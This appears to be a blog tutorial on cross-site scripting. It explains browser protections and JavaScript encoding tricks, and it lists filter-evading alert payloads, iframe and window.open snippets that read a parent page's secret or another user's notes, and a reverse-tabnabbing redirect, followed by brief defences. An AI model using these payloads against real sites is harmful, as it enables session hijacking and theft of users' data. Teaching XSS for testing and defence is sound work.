Cross-site scripting (XSS): Comprehensive guide on how to attack and defend

26 Aug 2024

This is a summary of XSS and everything needed to be able to find this vulnerability and protect yourself and others.

When starting out learning about XSS there is a lot of stuff, but most of it is just repeating, and you can’t find anything new. This guide should also cover the special cases that are hard to find on the web.

Why my JavaScript is not executing?

  • Browser protection against JavaScript execution

1) SOP (Same-Origin Policy)

It is a security rule that keeps data safe by making sure that web pages from one website (origin) can’t access data from another website (origin) without permission.

Anytime when we want to read the response from an API or different website (origin), the website has to answer with a CORS header to allow reading, otherwise we will get a SOP error:

Fetch request from different origin

2) CSP (Content Security Policy)

A security feature that allows website owners to control what content (like scripts, images, or styles) can be loaded onto their web pages.

You can set your CSP in html using meta tag (or using header Content-Security-Policy):

<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; img-src https://*; child-src 'none';" />

3) CORS (Cross-Origin Resource Sharing)

Way for a website to request resources (like data) from another website even if they have different origins (domains).

It’s known under these headers:

Access-Control-Allow-Origin: https://foo.example
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
Access-Control-Max-Age: 86400

It’s used to enable sharing of resources between different websites, but in a controlled way.

4) Sanitized characters

If a site properly sanitizes characters, the characters are rendered as HTML entities and the JavaScript or HTML tags are not executed.

  • A double quote (“) as &quot; or &#34;
  • A single quote (‘) as &apos; or &#39;
  • An opening angle bracket (<) as &lt; or &#60;
  • A closing angle bracket (>) as &gt; or &#62;

Weird JavaScript

  • Encoding, function execution and much more is acting very weird when it comes to javascript

Encoding

JavaScript supports various types of encoding, like Hex, Decimal, Unicode, named and HTML5 entities.

The weird thing about this, is that we can turn these encoding directly into chars or numbers without using a decoding function.

Also, it’s useful to know that a single character escape sequence exists:

'\b' // backspace
'\f' // form feed
'\n' // new line
'\r' // carriage return
'\t' // tab
'\v' // vertical tab
'\0' // null
'\'' // single quote
'\"' // double quote
'\\' // backslash

We can break down a word or sentence using this knowledge:

"A\W\E\S\O\M\E" // "AWESOME"

'Multiple \
lines' // "Multiple lines"

Hex:

We can encode using hex, but here is the problem that we can’t declare variables or call functions, because without a double quote it will cause an error.

const a = () => 1;

"\x61" // returns "a"
\x61 // Invalid escape sequence

Unicode:

We can declare functions and variables, we can also half encode word so that it won’t get filtred out.

// unicode character "63" is allowed as a variable
const \u0061 = () => 1;
\u{63} = 1

\u{61}() //correctly calls the function

"H\u0065LLO" // HELLO

Function Execution

Functions may be quite fascinating in JavaScript, we can invoke them without parentheses:

function printout(n1) {
return n1;
};

printout("Hello World!"); // output: "Hello World"
printout`Hello World!`; // output: ["Hello World"]

If we want to execute a function with more parameters, we can utilize template literals. however, the indexing starts at 1 rather than 0.

function sum(n1, n2) {
console.log(n1, n2); // ["n1", "", ""], n2
return Number(n1[0]) + n2;
};

sum`5${4}`; // output: 9

// Easier way through arguments
function x() {
console.log(arguments);
};

x`${1}${2}${3}`; // output [["", "", ""], 1, 2, 3]

There are more ways to execute a function. For example:

Interesting ways of executing alert found in book from Gareth Heyes:

window.valueOf=alert;window+1
setTimeout`alert\x281337\x29`
'1337,'.replace`1337${alert}`
Reflect.apply.call`${alert}${window}${[1337]}`/

And more from PayloadsAllTheThings:

window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)

[7].map(alert);
[8].find(alert);
[9].every(alert);
[10].filter(alert);
[11].findIndex(alert);
[12].forEach(alert);

Iframe and Window

We can dereference window.alert and it will also dereference alert, because the origin of alert function lies on window.

Dereferencing alert object from window

Iframes can be used for JavaScript sandbox execution, suppose we got this code, and we want to execute a XSS to get the secret.

var secret = "MY-SECRET";
function createSandboxedEnvironment(code) {
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
document.body.appendChild(iframe);

const sandboxWindow = iframe.contentWindow;
const sandboxDocument = iframe.contentDocument;

try {
sandboxWindow.eval(code);
} catch (error) {
console.error('Error in sandboxed code:', error);
} finally {
document.body.removeChild(iframe);
};
};

createSandboxedEnvironment(`console.log('Sandboxed:', secret);`); // undefined

If we execute an XSS in the current scope, we will not receive any secrets or cookies. This means that it must be executed in the main window rather than the iframe window.

createSandboxedEnvironment(
`console.log('Sandboxed:', parent.secret);`
); // MY-SECRET

createSandboxedEnvironment(
`console.log('Sandboxed:', window.top.secret);`
); // MY-SECRET

createSandboxedEnvironment(
`console.log('Sandboxed:', window.parent.secret);`
); // MY-SECRET

Another interesting aspect of the window object is that it allows you to launch a new tab and read from it if you are on the same origin. Assume we discovered XSS in a page and there is a /notes endpoint on the same origin. If we wish to read the /notes of another user, we may simply open a new window and read them.

<script>
window.open("http://localhost/notes.html", "pwn");
setTimeout(`console.log(window.open("", "pwn").document.body.textContent)`, 1000);
</script>

But there is a catch that browsers usually block new windows. Still, we can get it through iframe .

<script>
const iframe = document.createElement('iframe');
iframe.src = "http://localhost/notes.html";
iframe.style.display = "none";
document.body.appendChild(iframe);
setTimeout("console.log(iframe.contentDocument.body.textContent)", 1000)
</script>

When we can’t access a window, the document.defaultView property is simply a way of obtaining the window object. For example, we can usually use a workaround that will allow us to access the “defaultView” property.

let node = document.createElement('div');
node.ownerDocument.defaultView.alert(1337);

Payloads

There are plenty of them, and I mean it. When it comes to XSS, we may get fairly creative, combining every mentioned aspect to overcome filters. The reason XSS is so dangerous is that it includes keyloggers, not to mention general user data and session hijacking.

Most popular sources of XSS payloads:

Weird browser

Document.getelementById()

Did you know that you could get the element by id simply with a variable:

<a href="clobbered:1337" id=x></a>
<script>
alert(x);//clobbered:1337
alert(typeof x);//object
</script>

Data URLs

data:,Hello%2C%20World%21

Data URLs are URLs that can render a webpage with scripts and tags in a browser; for example, we can use them to render a webpage directly in a redirect.

Target property

There was a time when element a with parameter _blank could access the original page, but this is no longer the case. However, if the parameter rel is set to opener, there may still be an issue.

<a href="http://localhost" target="_blank" rel="opener">EXAMPLE</a>

The attacker can redirect the original webpage to his own destination or can just execute on the window JavaScript:

if (window.opener) {
window.opener.location = 'https://you-re-hacked.com';
};

if (window.opener) {
window.opener.alert("YOUR COOKIES ARE MINE");
};

Defending

Snyk

Automated security tool for scanning and monitoring your software development. It’s incredibly simple to set up and utilize. Sometimes snyk produces false positives, but it is still worthwhile to verify.

Keep your libraries up-to-date

Most vulnerabilities are not detected immediately, and people strive to address them as soon as possible when strange things occur. Keeping your libraries up-to-date is also important and sometimes painful.

Javascript/Markdown sanitilization

Sanitization is a good security practice to use when including or reflecting client-side HTML on your website. There are several open-source libraries. One example is: sanitize-html

CSP (Content Security Policy)

As mentioned, CSP can enhance your security by preventing cross-domain scripts from being loaded. However, it is not sufficient to include only CSP.

Conclusion

XSS is one of the most pervasive and dangerous vulnerabilities in web security, capable of compromising user data, hijacking sessions, and executing malicious code.

Theoretically, any user input might be utilized as an attack vector, potentially resulting in a vulnerability. You should pay special attention to these areas to ensure that they do not cause any strange behavior.

If you enjoyed this article, clap and follow me! Thanks for reading, and I wish you the best luck on your journey👋.